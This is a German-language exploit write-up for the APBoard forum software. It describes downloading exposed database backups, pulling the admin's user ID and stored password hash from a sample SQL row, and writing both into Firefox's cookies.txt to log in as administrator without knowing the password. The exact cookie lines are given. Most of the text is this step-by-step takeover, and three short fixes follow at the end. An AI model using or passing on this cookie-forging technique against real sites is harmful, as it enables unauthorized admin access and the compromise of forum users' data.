Sicherheitslücke im Apboard
-APBoard 2.2-r3
-APBoard 2.2b
-APBoard EW2
-***
Sollte es der Fall sein das man Zugriff auf diesen Bereich hat und dann auch
noch Backups der DB vorhanden sind so steht uns nichts mehr im wege.
Man lädt sich also das Backup runter was entweder als .sql file oder
als tar.gz file dort liegt.Das ganze wird im Falle von tar.gz ausgepackt und
man suche nach der Tabelle apbX_user_table die so einen Inhalt hat
INSERT INTO `apb1_user_table` (`userid`,`username`,`publicname`,`userpassword`,`useremail`,`userposts`,`usergroup`,`deleted`
,`statusextra`,`regdate`,`signatur`,`infotext`,`usericq`,`useraim`,`useryim`,`usermsn`,`userhp`,`userage`,`userpic`,`profpic`
,`upic_avatar`,`interests`,`show_email_global`,`users_may_email`,`mods_may_email`,`gender`,`userignorelist`,`userfriendlist`
,`cookie_passwd`,`boardpassword`,`catpassword`,`dblastvisit`,`last_board_visit`,`lastvisitboards`,`last_aktivity`,`cookie_array`
,`cat_choose`,`birthday`,`showbirthday`,`adminmod`,`city`,`usertrillian`,`userjabber`,`zipcode`,`country`,`newsletter`,`ghost`
,`away`,`newsbox`,`cpu`,`ram`,`mb`,`graka`,`sk`,`os`,`w`,`pcsystempic`,`useravatar`,`imglink`,`apbnews`,`postsort`,`user_ppp`
,`user_tpp`,`user_hpp`,`user_sig`,`user_portal`,`user_lastthrhead`,`user_slidenavi`,`user_showsmilies`,`mysmilies`,`user_showtextbuttons`
,`user_showlevel`,`user_showcountry`,`user_showcountryflags`,`user_showbirthday`,`user_showzodiac`,`user_show_newsticker`
,`user_show_messengers`,`userstyle`,`systemuser`,`pmungelesen`,`pmcount_an`,`pmcount_von`,`portalboxoff`,`user_language`
,`user_timezone`,`user_tablewidth`,`user_boardrules`,`olduserdates`,`warnings`,`broadcast`) VALUES ('1','Admin','Admin'
,'8e1d7f37a60c0ff310095d8265a7553b','info@web.de','11','1,4','0','','1115835366','','','','','','','','0','39.jpg','','1'
,'','1','1','1','1','','','1','a:1:{i:7;s:8:\"kiwi7306\";}','','0','1202397232','a:13:{i:0;s:0:\"\";i:1;i:1115838669;i:3;i
:1115969379;i:6;i:1118182448;i:7;i:1154541954;i:8;i:1188241188;i:11;i:1186564486;i:9;i:1187726269;i:12;i:1170924710;i:10;i
:1188241226;i:13;i:1157901844;i:14;i:1171028891;i:17;i:1195201295;}','1195201539','','a:0:{}','2005-01-01','0','','Kassel',''
,'','14229','0','1','0','0','1','','','','','','','','','1','0','0','1','10','0','0','1','0','0','1','1','','0','1','1','1'
,'0','0','3','0','5','0','0','9','6','a:3:{s:5:\"lrb_1\";i:1;s:5:\"lrb_9\";i:1;s:6:\"lrb_15\";i:1;}','de_sie','1','95%','1','','','');
Wichtig sind Feld 1 und 4 nach VALUES , das sind nämlich die ID und das Verschlüsselte
Passwort. Also in dem Fall ID = 1 (Admin) und das PW 8e1d7f37a60c0ff310095d8265a7553b.
Jetzt nimmt man sich Firefox zur Hand und ändert die cookies.txt ein wenig.(Alle Browserfenster sollten geschlossen sein)
Folgenes wird eingetragen:
www.example.de FALSE / FALSE 1236507450 UserInformation[uid] 1
www.example.de FALSE / FALSE 1236507450 UserInformation[upass] 8e1d7f37a60c0ff310095d8265a7553b
Dann einfach die Seite mit Firefox öffnen und man ist als Admin eingeloggt.
1. den .htaccess Schutz nutzen
2. die Datei backupnormal.php einfach loeschen
3. In die Datei backupnormal.php folgendes am Anfang einfügen
|
-> if ($adminlog!=1){
apb_error("$_LANG[admin_lang_backup_no_admin]", FALSE); }